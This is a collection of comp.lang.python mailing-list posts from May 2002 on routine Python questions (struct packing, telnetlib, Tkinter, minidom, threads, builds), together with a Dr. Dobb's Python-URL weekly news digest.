<cliechti at gmx.net> From paul at boddie.net Tue May 21 10:25:17 2002 From: paul at boddie.net (Paul Boddie) Date: 21 May 2002 07:25:17 -0700 Subject: OT: Crazy Programming References: <mailman.1021921632.6771.python-list@python.org> Message-ID: <23891c90.0205210625.1dc86acf@posting.google.com> "David LeBlanc" <whisper at oz.net> wrote in message news:<mailman.1021921632.6771.python-list at python.org>... > > Another artist - Yoki Ono - has a piece that consists > of a video tape of people cutting her clothes off of her; so called > "performance art". If the people doing the cutting had worn jack boots and > swastikas, we would have called it inhumane and criminal yet somehow the > critics call it art. This reminds me of a documentary about Andy Warhol that was shown on Swedish television the other week. With all the performance art, bizarre clothing, complex relationships, experimentation, and so on, one almost expected Austin Powers to make an appearance. ;-) > Art is what you like, not what other people tell you you should like. "I may not know art, but I know what I like!" :-) Seriously, and more related to the forum, I feel that the cited artistic nature of code is typically used as a cover for an activity which would not withstand objective analysis. What is it that makes code good? This is surely where we drift away from "art" (whatever it is) and towards "design" and "engineering", along with the various objective criteria which assess the success of such activities. "Here's some code which does some neat trick - you can barely read it! It's art!" says the experienced Perl hacker. Our response to this (if we really care, of course) should be to consider the purposes of the software: the code must perform some task, other people may need to maintain such code, the code may be an educational vehicle. Some of these purposes can be measured according to objective criteria, and we might respond as follows: "The code is obscure, thus making it a needless academic exercise to learn from and maintain. However, this solution is marginally faster and less resource intensive than more maintainable solutions." In my opinion, art only comes into it if we discard many of the more common objectives of writing software, and that was probably the intention of the original Perl-oriented magazine/journal article. Paul From peter at engcorp.com Mon May 6 00:57:25 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 00:57:25 -0400 Subject: streaming audio References: <mailman.1020652989.23833.python-list@python.org> Message-ID: <3CD60D35.7939A2EB@engcorp.com> Rob Brown-Bayliss wrote: > > I am looking for some information on the basics of audio streaming, or > any sort of data streaming really. > > I want to create an app to stream audio around a LAN and really have > know Idea on where to start. Is it fair to assume you are planning to do this in Python? -Peter From rob at zoism.org Sun May 5 22:41:41 2002 From: rob at zoism.org (Rob Brown-Bayliss) Date: 06 May 2002 14:41:41 +1200 Subject: streaming audio Message-ID: <1020652901.21030.1.camel@orion.zoism.org> Hi, I am looking for some information on the basics of audio streaming, or any sort of data streaming really. I want to create an app to stream audio around a LAN and really have know Idea on where to start. Thanks in advance. -- R Brown-Bayliss ---====<=>=====--- http://zoism.org From jdhunter at nitace.bsd.uchicago.edu Fri May 17 17:27:07 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Fri, 17 May 2002 16:27:07 -0500 Subject: Perl's pack/unpack functions References: <3CE56D0B.3030906@hotmail.com> Message-ID: <m2y9ei8nys.fsf@video.paradise.lost> >>>>> "Matthew" == Matthew Diephouse <fokke_wulf at hotmail.com> writes: Matthew> I'm looking at learning Python, and the first app I want Matthew> to write needs to be able to take a binary file and Matthew> pack/unpack the data into hex form, and then into binary Matthew> form. In Perl, you can do this using pack/unpack, but I Matthew> don't see these functions in Python. So how would you do Matthew> this in Python? See the 'pack' function of module struct http://python.org/doc/current/lib/module-struct.html Here is an example that writes 2.5 GB of long integers in binary (I wanted to test my python large file support build) import struct fd = open('test.out', 'w') GB = 250000000L # each long is 4 bytes so 250000000 is 1 GB for i in xrange( long(2.5*GB) ): fd.write( struct.pack('L', i) ) From shalehperry at attbi.com Wed May 8 16:59:09 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 08 May 2002 13:59:09 -0700 (PDT) Subject: Comments In-Reply-To: <DagC8.113179$v7.9678829@bin6.nnrp.aus1.giganews.com> Message-ID: <XFMail.20020508135909.shalehperry@attbi.com> On 08-May-2002 Terry Reedy wrote: > > "Sean 'Shaleh' Perry" <shalehperry at attbi.com> wrote in message > news:mailman.1020875117.14656.python-list at python.org... >> Sure, but comments are basically free whereas the above creates an > anonmymous >> string which has to be garbage collected. > > I once read, I believe, that free-floating (unbound) strings that do > not become doc strings are eliminated (in batch mode) during > compilation. > yeah, Tim Peters made that comment a short while ago. From tritran2001 at iprimus.com.au Sat May 25 12:40:05 2002 From: tritran2001 at iprimus.com.au (Occean) Date: Sat, 25 May 2002 16:40:05 GMT Subject: date of file Message-ID: <20020526.023923.2130794395.3231@iprimus.com.au> I have an directory which hold some file. Now i have to list all of the file according to the date the that the file created. For example, i want to display all of the file from the date 24/05/2002 until now. How can i do that, can anyone show me From cprinos at foliage.com Wed May 29 21:32:40 2002 From: cprinos at foliage.com (Chris Prinos) Date: Thu, 30 May 2002 01:32:40 GMT Subject: Python ActiveX Scripting Engine (0x80020009) Error - KeyboardInterrupt - python 2.2 References: <508cb8ae.0205290757.6659230@posting.google.com> <EgeJ8.2107$fT5.661549@typhoon.ne.ipsvc.net> Message-ID: <YifJ8.2290$fT5.687896@typhoon.ne.ipsvc.net> I failed to mention.... the code snippet I listed goes in the global.asa script file Chris From martin at v.loewis.de Mon May 20 17:01:13 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 20 May 2002 23:01:13 +0200 Subject: Python (2.2) on Solaris 8 (64-bit) References: <79d1869.0205200713.324bee25@posting.google.com> <mailman.1021908699.30036.python-list@python.org> Message-ID: <m3wutyjzza.fsf@mira.informatik.hu-berlin.de> Oleg Broytmann <phd at phd.pp.ru> writes: > http://groups.google.com/groups?hl=en&lr=&safe=off&q=python+solaris+problem&btnG=Google+Search&meta=group%3Dcomp.lang.python.%2A How does that help? Martin From donnal at donnal.net Mon May 27 21:41:29 2002 From: donnal at donnal.net (Donnal Walter) Date: 27 May 2002 18:41:29 -0700 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> Message-ID: <918bc22f.0205271741.5b64aa4a@posting.google.com> schitz0boy at hotmail.com (Corey Woodworth) wrote ... > How should I save my database file for instance? I was thinking a text > file full of strings like this perhaps: > > songname::artist::performer::filename:: ... ... > If you have some reason not to use the built-in pickle module or shelve, you might consider formatting your database using XML (with or without newlines): <song> <name> Watermark </name> <artist> Enya </artist> </song> Donnal Walter Arkansas Children's Hospital From m.laranjeira at datacraft.com.br Mon May 20 12:41:20 2002 From: m.laranjeira at datacraft.com.br (Marcus Laranjeira) Date: Mon, 20 May 2002 13:41:20 -0300 Subject: Newbie: Switch Case Message-ID: <67F0CEAF5F0ED411B53900508BC5C8BC700102@admin.datacraft.com.br> Is there any switch case control structure in python ? what is the syntax ? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.360 / Virus Database: 199 - Release Date: 07/05/02 -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20020520/0e5e6b99/attachment.html> From gerhard at bigfoot.de Sat May 25 18:07:55 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sun, 26 May 2002 00:07:55 +0200 Subject: Why no libpython2.x.so in redhat? In-Reply-To: <c3835e5f.0205251343.257a1570@posting.google.com> References: <c3835e5f.0205251343.257a1570@posting.google.com> Message-ID: <20020525220755.GA4437@lilith.my-fqdn.de> * Chris Fonnesbeck <spam at fisher.forestry.uga.edu> [2002-05-25 14:43 -0700]: > I'm looking for someone out there who develops on RedHat who can help > me out: Why are there no libpython .so files on the redhat builds? Because Python will only be built as a shared library by default in Python 2.3. In earlier versions, you have to hack the build process for creating a shared library. Debian does that, for example. > It is creating problems for me when trying to run python embedded in > C. No, you have other problems. It's certainly not the lack of a Python shared library, as it is normal on Unix to statically link to the Python runtime. > It seems that my program looks for the .so files, and not finding > them, dies. I get segfaults all the time. Running your app in a debugger and/or enabling the creation of core files with 'ulimit -c unlimited' is a reason to find out what exactly is causing the problem. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From cbbrowne at acm.org Sat May 25 00:12:15 2002 From: cbbrowne at acm.org (Christopher Browne) Date: 25 May 2002 04:12:15 GMT Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> Message-ID: <acn2uu$qrhei$1@ID-125932.news.dfncis.de> The world rejoiced as Ross Lazarus <do_not_use_this_as_it_does_not_work at bellatlantic.net> wrote: > How should the Python language be cited in an academic publication? > > For example, in > http://bioinformatics.oupjournals.org/cgi/reprint/17/8/756.pdf the > author mentions http://www.python.org in the text rather than formally > citing the primary source - or is that the appropriate primary source > and recommended attribution? > > I found "Copyright 1991-1995 by Stichting Mathematisch Centrum, > Amsterdam, The Netherlands" at > http://www.python.org/doc/Copyright.html, but that doesn't seem as > complete or helpful as I'd like for a refereed journal. Unlike languages like Ada and FORTRAN and Common Lisp, the creation of Python didn't start with the creation of a "de jure" standard, documented in academic or government papers; it came as an implementation. I'm not sure that there's any fundamentally better "primary source" to look to than <http://www.python.org/>. There might be some early paper by Guido van Rossum on Python that would be of some value; that would be more likely to be a "secondary" source, though. -- (reverse (concatenate 'string "ac.notelrac.teneerf@" "454aa")) http://www.cbbrowne.com/info/sgml.html "...as a robotics designer once told me, you don't really appreciate how smart a moron is until you try to design a robot..." -- Jerry Pournelle From missive at frontiernet.net Fri May 10 22:57:43 2002 From: missive at frontiernet.net (Lee Harr) Date: Sat, 11 May 2002 02:57:43 -0000 Subject: Tkinter and FreeBSD References: <pan.2002.05.09.12.39.48.688539.11548@(nospam)hotmail.com> Message-ID: <slrnadp246.32.missive@whave.frontiernet.net> > I have a slight problem. I am unable to get Tkinter to work under FreeBSD > 4.5. I updated all the ports needed for Python and Tkinter, and > installed them all, but I am unable to get IDLE or any Tkinter item to > work.It wont even install Tkinter I don't think, because I tried to > import Tkinter and Python says it doesn't exist. > Do you have more than one version of python installed on your system? Take a look in /usr/local/lib/ and see if maybe you have maybe python2.1 python2.2 It's possible that the port installed tkinter in to your 2.1 install, but your default python is 2.2 (take a look at the sizes of the files when you do: ls -l /usr/local/bin/python* Whichever one you have 2 of is your default.) Try your tkinter code using the other python and see if it works. From ASkwar at DigitalProjects.com Thu May 2 09:12:14 2002 From: ASkwar at DigitalProjects.com (Alexander Skwar) Date: Thu, 2 May 2002 15:12:14 +0200 Subject: Killing a running thread In-Reply-To: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> Message-ID: <20020502131214.GI13641@teich.Garten.DigitalProjects.com> ?Tim Golden? sagte am 2002-05-02 um 13:55:12 +0100 : > Hope it was helpful. I meant to reply to the group, not directly to you. > Would you mind copying my reply to the group, to let others know that I > responded? Thanks. Tim. Okay, I'll send this reply back to the group. However, I'm sorry to say this, but this didn't help me. My problem is, that I'm spending a very large time in just one map() function call, which iterates over a large list and calls a custom method for every element. I could of course write a thread wrapper function for this function, but this doesn't sound very elegant to me. Further, even if I'd do this, I wouldn't know how I could jump out of this function without iterating over the rest of the elements. Other large amounts of time are spend in a "for zeile in xreadlines.xreadlines(src):". Here I could of course use the techniques from your link. And finally I'm spending a large chunk of time in md5s.write(result_str_md5) (md5s is a file object). For this I would not know how I could quit the thread at all. Alexander Skwar -- How to quote: http://learn.to/quote (german) http://quote.6x.to (english) Homepage: http://www.iso-top.de | Jabber: askwar at a-message.de iso-top.de - Die g?nstige Art an Linux Distributionen zu kommen Uptime: 8 days 8 hours 5 minutes From cimarron+google at taylors.org Thu May 2 23:31:06 2002 From: cimarron+google at taylors.org (Cimarron Taylor) Date: 2 May 2002 20:31:06 -0700 Subject: Is there a way to 'mask out' inherited methods? References: <xdusn5ae0kr.fsf@gelatine.informatik.uni-freiburg.de> Message-ID: <29e28c51.0205021931.4e698a76@posting.google.com> Do you really need to inherit? Have you considered instead creating a new class with only the methods you want and delegating the actual operations to a private member? Cim From eric.brunel at pragmadev.com Mon May 13 10:18:55 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Mon, 13 May 2002 14:18:55 +0000 Subject: Tkinter Configuration References: <abo6r2$j263u$1@ID-143325.news.dfncis.de> Message-ID: <aboal4$flf$1@wanadoo.fr> > Hi there, > > How can I configure the Tkinter??? Please state what is your platform and what you've already done. Without that, we cannot be of any help... -- - Eric Brunel <eric.brunel at pragmadev.com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From andymac at bullseye.apana.org.au Wed May 22 07:44:45 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Wed, 22 May 2002 22:44:45 +1100 (edt) Subject: Problems importing _sre w/VC7-compiled Python 2.1 In-Reply-To: <GJcG8.8159$p56.2327369@newsb.telia.net> Message-ID: <Pine.OS2.4.32.0205222240480.1856-100000@tenring.andymac.org> On Mon, 20 May 2002, Fredrik Lundh wrote: > Andrew MacIntyre wrote: ... > > I had been under the impression that sre was intended to always be built > > into the Python core (ie not as a loadable extension module), which might > > explain some of what you found. > > SRE builds just fine as a DLL, and uses a DL_EXPORT statement > to make sure it exports the right stuff. this works perfectly fine > under VC5 and VC6. I'm more than happy to take your word for it, but this contradicts the essence of notes in Modules/Setup.dist (from where I got my impression). Do you expect it should also work as a Unix shared object? I note that the default "./configure; make" results in _sre being built into the python library on FreeBSD boxen. -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From kwokng at earthlink.net Thu May 2 14:21:17 2002 From: kwokng at earthlink.net (Billy Ng) Date: Thu, 02 May 2002 18:21:17 GMT Subject: telnet References: <5cFz8.127$ke3.35@newsread2.prod.itd.earthlink.net> <aaohqk$p2p$1@scotsman.ed.ac.uk> Message-ID: <xsfA8.1789$ce4.155065@newsread1.prod.itd.earthlink.net> Thanks, Eddie! It works. But how can I check if it times out if I put the second arg to the tn.expect() method? What I notice is it just stops when it times out. Thanks! Billy Ng "Eddie Corns" <eddie at holyrood.ed.ac.uk> wrote in message news:aaohqk$p2p$1 at scotsman.ed.ac.uk... > "Billy Ng" <kwokng at earthlink.net> writes: > > >Hi folks, > > >I am writing a python app that uses the Telnet object to connect to the > >server. Here is the code, > > >tn = telnetlib.Telnet(host) > >tn.read_until("Please enter your id") > >tn.write(userid+"\r\n") > > >From here, tn will return either "Please enter your password" or "Wrong id, > >please enter your id again". My question is how can I get the returning > >string before I do the next tn.write() > > >Thanks! > > >Billy Ng > > I think you need to use tn.expect here. I've not tried it yet but I guess it > goes along the lines of: > > resp = tn.expect (["password","id again"]) > if resp[0] == 0: # wants a password > tn.write (pass) > else: # oops > ... > > In reality you'd want to specify the strings a bit more carefully. > > Eddie > From kragen at pobox.com Mon May 20 05:47:51 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 05:47:51 -0400 Subject: How to call another file References: <abols1$l0b$1@netnews.upenn.edu> <mailman.1021303762.13689.python-list@python.org> <abpa4g$h8i$1@netnews.upenn.edu> <83r8kbw5f6.fsf@panacea.canonical.org> <77850380B97D3D89.015A3084C891C287.2096BE53E22167DB@lp.airnews.net> <83vg9mu0fn.fsf@panacea.canonical.org> <ac3g5a$mn65a$1@ID-59885.news.dfncis.de> Message-ID: <83znyvqhfc.fsf@panacea.canonical.org> "Thomas Heller" <theller at python.net> writes: > "Kragen Sitaker" <kragen at pobox.com> wrote in message news:83vg9mu0fn.fsf at panacea.canonical.org... > > I thought about "start"; unfortunately, it runs stuff in the > > background and returns immediately, which is not what the OP wanted. > > > That's where the /WAIT switch is for, available on win2k at least: > > os.system("start /WAIT mypage.html") Thanks for the correction! I'm glad there was a simple answer to the question, and that Windows is not as inferior as I thought :) From peter at engcorp.com Thu May 9 01:20:17 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 01:20:17 -0400 Subject: Hello Newb here References: <mailman.1020906314.32369.python-list@python.org> Message-ID: <3CDA0711.FA60144E@engcorp.com> Brian Quinlan wrote: > > > Hello im new to programming i started to learn c++, but turned out to > be > > way too hard. So i thought I would learn Python. > > > > Does anyone have any ideas on how I can learn to program well in about > a > > month > > You might want to start here: > http://www.python.org/doc/Newbies.html > > Others can comment of the feasibility of learning how to program well in > a month :-) I learned to program well in a month. At least, I thought I was doing pretty well. Then over the next twenty-something years I've learned how to program much, much better. I think /now/ I finally program pretty well. Ask me again in twenty years though. I suspect I'll have learned how to program even better, and I might even be pretty good by that time. ;-) Peter From martin at v.loewis.de Tue May 7 01:21:47 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 07 May 2002 07:21:47 +0200 Subject: XML: minidom toxml() does not work for non English files! :-( References: <kn37du83tagqt7obtdq89pfsbk8iuqdtk2@4ax.com> <mailman.1020715513.14598.python-list@python.org> Message-ID: <m38z6w353o.fsf@mira.informatik.hu-berlin.de> Trent Mick <trentm at ActiveState.com> writes: > Jaroslaw mentions that the problem goes away if he replaces > ActivePython 2.2.1's StringIO.py with the one from the PythonLabs > distro. That would be fine (a bug in ActivePython) except that > ActivePython has the more *recent* StringIO.py. So is Jaroslaw > misusing StringIO.py or is this StringIO.py checkin incorrect or > am I confused: The most recent StringIO (1.22) has this: class StringIO: def __init__(self, buf = ''): # Force self.buf to be a string or unicode if type(buf) is not types.UnicodeType: buf = str(buf) IMO, this is "more correct" than just calling str every time. Regards, Martin From webmaster at apologetyka.com.pl Sat May 4 03:35:03 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Sat, 04 May 2002 09:35:03 +0200 Subject: XML: minidom and problem with getElementsByTagName() References: <suu5du4l84oe76j25vl825qo32d6bv88d6@4ax.com> <m3helopf2t.fsf@mira.informatik.hu-berlin.de> Message-ID: <6p37dusf9ku7ht8dd94u0re0gk6d9rrbo5@4ax.com> On 04 May 2002 09:06:18 +0200, martin at v.loewis.de (Martin v. Loewis) wrote: >If you are only interested in immediate child nodes, I recommend you >iterate over childNodes. Yes, I found that it is the solution. -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://www.pik-net.pl/~zbiru From kragen at pobox.com Wed May 22 14:52:41 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 22 May 2002 13:52:41 -0500 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (May 22) Message-ID: <C19D8E58860B04AF.28707EE996F79043.A944B9F5241D28A5@lp.airnews.net> QOTW: "More details on what you want will naturally increase the quality of the answers you receive." Geoff Gerrietts (and many others) Programming libraries: PyKDE, PyQt, and SIP --- the Python bindings to KDE and Qt and the tool used to build them --- released version 3.2.4 on 2002-05-18. This is the first version to support KDE 3. http://www.riverbankcomputing.co.uk/ The Python Spread module, a Python interface to the Spread toolkit, which provides a high-performance fault-tolerant distributed message service with both unicast and multicast primitives, released version 1.2 on 2002-05-17. http://groups.google.com/groups?selm=mailman.1021668360.22742.python-list%40python.org Pyro, a distributed object system with RPC, mobile objects (including mobile code), naming, events, and automatic reconnection, released version 2.8 on 2002-05-17. http://groups.google.com/groups?selm=mailman.1021908666.29990.clpa-moderators%40python.org FXPy, the Python binding to the FOX GUI toolkit, released version 1.0.5 on 2002-05-16: http://fxpy.sourceforge.net/ PycURL, a Python interface to the cURL URL-fetching library, released version 7.9.7 on 2002-05-20: http://pycurl.sourceforge.net/ NodeNet, a Python library for networks of connected nodes with GUI support, has released 1.0beta1: http://groups.google.com/groups?selm=mailman.1021412785.12096.python-list%40python.org DeveloperWorks has a couple of articles on Python --- "wxHTML for Beginners" and "Parsing With the SimpleParse Module": http://www-106.ibm.com/developerworks/linux/library/l-wxpython?open&l=968,t=gr http://www-106.ibm.com/developerworks/linux/library/l-simple.html?open&l=968,t=gr Fredrik Lundh explains how to cancel event propagation in Tkinter. http://groups.google.com/groups?selm=nvbG8.8151$p56.2321947%40newsb.telia.net Rob Andrews wrote an article on Jython Swing Basics: http://uselesspython.com/Jython_Swing_Basics.html Cristian Barbarosie notices that os.path.commonprefix doesn't work as one might expect, and suggests a fix. http://groups.google.com/groups?selm=6c575772.0205210145.359ea49a%40posting.google.com Discussion on features of Python: Paul Graham asks about generating closures in Python, leading to a thread covering most of the possibilities: http://groups.google.com/groups?selm=4f52f844.0205141503.40000c50%40posting.google.com Continuations Made Simple and Illustrated http://www.ps.uni-sb.de/~duchier/python/continuations.html Skip Montanaro discusses multiparadigm languages like Python, Common Lisp, C++, etc. http://groups.google.com/groups?selm=mailman.1021697071.17004.python-list%40python.org Christopher Browne discusses what it means for Common Lisp to be "multiparadigm", comparing with Oz, contrasting with Ruby, http://groups.google.com/groups?selm=m38z6htaf6.fsf%40chvatal.cbbrowne.com Generator comprehensions came up again. http://groups.google.com/groups?selm=4c877253.0205132231.6d286d0b%40posting.google.com Alex Martelli discusses adapters and PEP 246, and alternatives to isinstance(): http://groups.google.com/groups?selm=uttC8.40554$zW3.440516%40news1.tin.it The desire for internationalized identifier names that was discussed at such length last week has come up again, in a different form; someone wants to know why apply() insists on having no unicode objects as keys in its kwargs dictionary. http://groups.google.com/groups?selm=mailman.1021764992.14333.python-list%40python.org Holger Krekel and Alex Martelli discuss adding currying to Python. http://groups.google.com/groups?selm=mailman.1021311145.2513.python-list%40python.org The new incarnation of Stackless Python, with "tasklets" connected by Alef-style "channels", is now working. http://groups.google.com/groups?selm=mailman.1021685435.8672.python-list%40python.org Christian Tismer explains with some details. http://groups.google.com/groups?selm=mailman.1021881098.25873.python-list%40python.org Andrew Henshaw explains Occam channels, which are related but not the same. http://groups.google.com/groups?selm=ueji35ihipuee3%40corp.supernews.com Gon?alo Rodrigues wishes he had explicit interfaces in Python. http://groups.google.com/groups?selm=ip5aeu4c4p9ab7q4k5uf09dj94r1sjfr0t%404ax.com Apparently both Zope and Twisted Python have explicit interfaces now. http://groups.google.com/groups?selm=ac3vvd$9fo$1%40newshost.accu.uu.nl Jack Diederich posts an implementation of a variation of PEP 274 (dict comprehensions) with no new syntax which allows him to populate existing dictionaries from lists much faster than existing alternatives. http://groups.google.com/groups?selm=mailman.1021913254.17657.python-list%40python.org Alex Martelli talks about Sather iterators and their relationship to Python iterators. http://groups.google.com/groups?selm=CrSD8.52710$zW3.722063%40news1.tin.it Erik Max Francis explains why dict keys (and, by extension, members of a set) must be immutable. http://groups.google.com/groups?selm=3CE9C04F.3AD43103%40alcyone.com One informIT registration away is "Deitel? Presents Introduction to Python Iterators". http://www.informit.com/content/index.asp?product_id={3D15CE9B-E318-4D74-95EE-673A498E251E} Cameron Laird has written an article on pydoc: http://www.onlamp.com/lpt/a/python/2001/04/18/pydoc.html Python Programs: IDE Studio, an enhanced version of IDLE, the Python IDE, released version 1.5 on 2002-05-18: http://starship.python.net/crew/mike/Tide/idledev/IDEStudio.html Skip Montanaro points to Bicycle Repair Man, a refactoring browser for Python; version 0.5 was released 2002-05-15. http://groups.google.com/groups?selm=mailman.1021667250.1977.python-list%40python.org http://sourceforge.net/projects/bicyclerepair/ Mailman, the GNU mailing list manager (and the one everybody uses these days), released version 2.0.11, which fixes security holes, on 2002-05-20. http://groups.google.com/groups?selm=mailman.1021927545.18649.python-list%40python.org DPythOS, a network monitoring and administration system, released version 0.0 on 2002-05-14; this one's by Luke Kenneth Casson Leighton, so it might be worth watching: http://groups.google.com/groups?selm=mailman.1021378504.8146.clpa-moderators%40python.org Puffin, a framework for writing automated tests for web applications, released version 0.8.10 on 2002-05-14: http://groups.google.com/groups?selm=mailman.1021336466.10959.python-list%40python.org ConvertAll, a GUI program for converting quantities between different kinds of units, released version 0.2.2 on 2002-05-16: http://www.xecu.net/dougbell/convertall/ TreeLine, a sort of cross between an outliner and a database, released version 0.3.4 on 2002-05-15: http://www.xecu.net/dougbell/treeline/ LinkChecker, which checks HTML documents for broken links, released stable version 1.4.6 and development version 1.5.2 on 2002-05-15: http://linkchecker.sourceforge.net/ FlawFinder, which finds security holes in source code, released version 0.22 on 2002-05-15: http://www.dwheeler.com/flawfinder/ Problems and solutions: Some discussion about how to look up MX DNS records in Python: http://groups.google.com/groups?selm=mailman.1021348163.24212.python-list%40python.org Current Python built with Visual C++ 7.x can't load extension modules without some build-configuration hackery, but it looks like this bug is going to be fixed: http://groups.google.com/groups?selm=597ee21d.0205190433.59938215%40posting.google.com Matt Kimball was having trouble with getting his threads to be scheduled fairly on Windows XP; Tim Peters points out that it's a hard problem to solve in a portable fashion: http://groups.google.com/groups?selm=mailman.1021770630.3420.python-list%40python.org Peter Hansen mentions that a particular trick Tim recommends to tweak responsiveness caused performance problems for his group: http://groups.google.com/groups?selm=3CE79FA1.BEECAFE8%40engcorp.com Sean McGrath has a weird problem: when he creates a large, complex object with cPickle, it takes a ridiculously long time to delete, much longer than if he creates the same object by other means; and furthermore, Python 2.1.3 takes five times longer than 1.5.2. Nobody has yet figured out what's going on. http://groups.google.com/groups?selm=mailman.1021742251.22977.python-list%40python.org http://groups.google.com/groups?selm=mailman.1021802191.2409.python-list%40python.org It seems that shutil.copy and shutil.copy2 don't properly copy file metadata on Windows, which requires facilities prewin32all is not included in the main Python distribution, so shutil can't depend on it: http://groups.google.com/groups?selm=mailman.1021713031.9406.python-list%40python.org Greg Weeks complains that Python isn't backward compatible. http://groups.google.com/groups?selm=1021652963.460304%40cswreg.cos.agilent.com David LeBlanc defends its non-backward-compatibility. http://groups.google.com/groups?selm=mailman.1021664729.24068.python-list%40python.org A puzzling problem with telnetlib comes down to a bug in NT 4.0's gethostbyname: http://groups.google.com/groups?selm=696heuo6dakvfoak328t8ej4hlqrfe29lg%404ax.com People discuss getting ANSI color support to work right, which is difficult and painful: http://groups.google.com/groups?selm=acc1oh$1r5$1%40peabody.colorado.edu There's a long discussion about how to tell whether a string containing Python code contains an unterminated string, culminating in this Holger Krekel post. http://groups.google.com/groups?selm=mailman.1021595549.32363.python-list%40python.org Miscellaneous: Mark Hadfield has made further progress running Python on his Cray T3E, although it still doesn't run the test suite to completion: http://groups.google.com/groups?selm=absu94$vn5$1%40newsreader.mailgate.org http://groups.google.com/groups?selm=abmlke$m1n$1%40newsreader.mailgate.org http://groups.google.com/groups?selm=mailman.1021595314.25214.python-list%40python.org Laura Creighton compares programming to civil engineering, finding the two more similar than programmers like to think: http://groups.google.com/groups?selm=mailman.1021473087.19545.python-list%40python.org Paul Boddie has released a document comparing available Python software to what J2EE provides for Java: http://www.boddie.org.uk/python/web_modules_enterprise.html There is a very long debate about the philosophical topic of aesthetics, frequently touching on ontology and epistemology; Laura Creighton, among others, participates. http://groups.google.com/groups?selm=mailman.1021718851.21163.python-list%40python.org Jacob Hall?n argues that interoperable small pieces of software are better than large pieces of software. http://groups.google.com/groups?selm=acavng$pcq$1%40nyheter.chalmers.se The paper version of the Python Cookbook should be out from O'Reilly soon; it's in copy-editing and production. http://groups.google.com/groups?selm=mailman.1021569873.21855.python-list%40python.org Tim Danieluk doesn't believe in vendor lock-in, thinks standards are overrated, and thinks the real battlefield is in control of data, not code. http://groups.google.com/groups?selm=3CE9BC7F.A3565ADE%40tundraware.com ======================================================================== Everything you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newly-revitalized newsgroup at least weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Michael Hudson continued Andrew Kuchling's marvelous tradition of summarizing action on the python-dev mailing list once every other week, into July 2001. Any volunteers to re-start this valuable series? http://starship.python.net/crew/mwh/summaries/ http://www.amk.ca/python/dev The Vaults of Parnassus ambitiously collect Python resources http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Software Foundation has replaced the Python Consortium as an independent nexus of activity http://www.python.org/psf/ Cetus does much of the same http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Links2Go is a new semi-automated link collection; it's impressive what AI can generate http://www.links2go.com/search?search=python Tenth International Python Conference http://www.python10.org Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. [http://www.egroups.com/list/python-url-leads/ is hibernating. Just e-mail us ideas directly.] To receive a new issue of this posting in e-mail each Monday morning, ask <claird at neosoft.com> to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. -- Cameron Laird <Cameron at Lairds.com> Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From tim.one at comcast.net Wed May 22 20:51:16 2002 From: tim.one at comcast.net (Tim Peters) Date: Wed, 22 May 2002 20:51:16 -0400 Subject: 2**HUGENUMBER Why not optimise it? In-Reply-To: 